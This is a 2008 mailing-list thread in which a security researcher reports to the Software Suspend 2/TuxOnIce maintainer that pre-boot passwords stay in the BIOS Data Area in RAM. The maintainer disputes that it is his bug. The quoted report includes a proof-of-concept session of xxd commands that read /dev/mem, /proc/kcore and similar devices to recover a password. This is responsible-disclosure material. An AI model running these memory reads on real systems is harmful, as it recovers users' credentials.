Re: Vulnerability in Software Suspend 2 (all versions)

Jonathan Brossard
2008-07-28T08:56:08Z

Dear Nigel,

>Why do you think I'm in Switzerland? I'm actually a New Zealander,

>living in Australia.

Nothing against aussies, the project was once uppon a time austed at the federal school
of Lausane, which afaik is in Switzerland...

>Okay. As mentioned in the previous reply, I don't think this is a bug
>with TuxOnIce itself. If a BIOS data area needs clearing during resume,
>I would suggest that something like the ACPI device driver should be
>doing that, because if the memory needs clearing, it should need
>clearing irrespective of whether you've hibernated or not.

Ok. I gave you the exploit. I gave you the explaination. I gave you the fix.
Now, if you don't want to face the truth that you have a problem (why dont
you just test the exploit ?) because you don't know how to use the BIOS API
safely, that's fine : don't fix it, I don't really care.

Between : Can I quote you at my Defcon presentation ?

Regards,

Jonathan-

Nigel Cunningham wrote:
> Hi.
>
> On Mon, 2008-07-28 at 14:13 +0530, Jonathan Brossard wrote:
>
>> Hi Nigel,
>>
>> Sorry for assuming (wrongly) that ppl in Switzerland all speak French ;)
>>
>
> Why do you think I'm in Switzerland? I'm actually a New Zealander,
> living in Australia.
>
>
>> In a nutshell, I discovered a new class of vulnerabilities that I will fully
>> disclose at the Defcon security conference in August. It happens to
>> affect your software, which I would like to help you fix before I go
>> public. (Note : I have used your patch for quite a time, thanks for
>> the good job ;)
>>
>> The problem lies in a lack of sanitazation of the Bios Data Area
>> after reading the password using BIOS interruptions (you don't
>> have much choice at that early stage regarding the API anyway).
>> Once the password is read, it remains in RAM for ever, and can
>> be retreived by a (somehow) privileged user :
>>
>> root@blackbox:~# xxd -l 32 -s 0x041e /dev/mem
>> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~# xxd -l 32 -s 0x41e /dev/oldmem
>> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~# xxd -l 32 -s 0x041e /dev/.static/dev/mem
>> 000041e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000042e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~# xxd -l 32 -s 0x141e /proc/kcore
>> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~# xxd -l 32 -s 0x141e /dev/core
>> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~# xxd -l 32 -s 0x141e /dev/.static/dev/core
>> 000141e: 7019 3405 731f 731f 7711 300b 7213 6420 p.4.s.s.w.0.r.d
>> 000142e: 0d1c 0d1c 0000 0000 0000 0000 0000 0000 ................
>> root@blackbox:~#
>>
>>
>> The patch was made against the latest vanilla kernel and checked
>> under gentoo 2006 and Ubuntu Gutsy. It *should* work even if you
>> don't have a standard 3Go/1Go user/kernel split. It simply sanitizes
>> the RAM areas in question.
>>
>> Like I mentioned previously, I would appreciate credits. If you chose
>> to credit us for our work, you can quote :
>> Jonathan Brossard, endrazine@gmail.com, jonathan@ivizindia.com
>>
>>
>> Feel free to contact me if you have any additional questions or feedback :)
>>
>
> Okay. As mentioned in the previous reply, I don't think this is a bug
> with TuxOnIce itself. If a BIOS data area needs clearing during resume,
> I would suggest that something like the ACPI device driver should be
> doing that, because if the memory needs clearing, it should need
> clearing irrespective of whether you've hibernated or not.
>
> Regards,
>
> Nigel
>
>
>

--
Jonathan Brossard
Security Research Engineer
iViZ Techno Solutions Pvt. Ltd.
Mobile: +91-9748772994

Kolkata:
iViZ Technolgy Solutions(P) Ltd
c/o Erevmax Technologies (P) Ltd
DLF IT Park,
Tower-1, 12th Floor
08 Major Arterial Road
New Town, Rajarhat
Kolkata- 700 156

Kharagpur:
iViZ Techno Solutions Pvt Ltd,
School of Information Technology,
Indian Institute of Technology,
2nd Floor, Takshashila,
Kharagpur 721302 West Bengal, India.
Phone: +91-3222-282300 ext 4324

Web page: http://www.ivizindia.com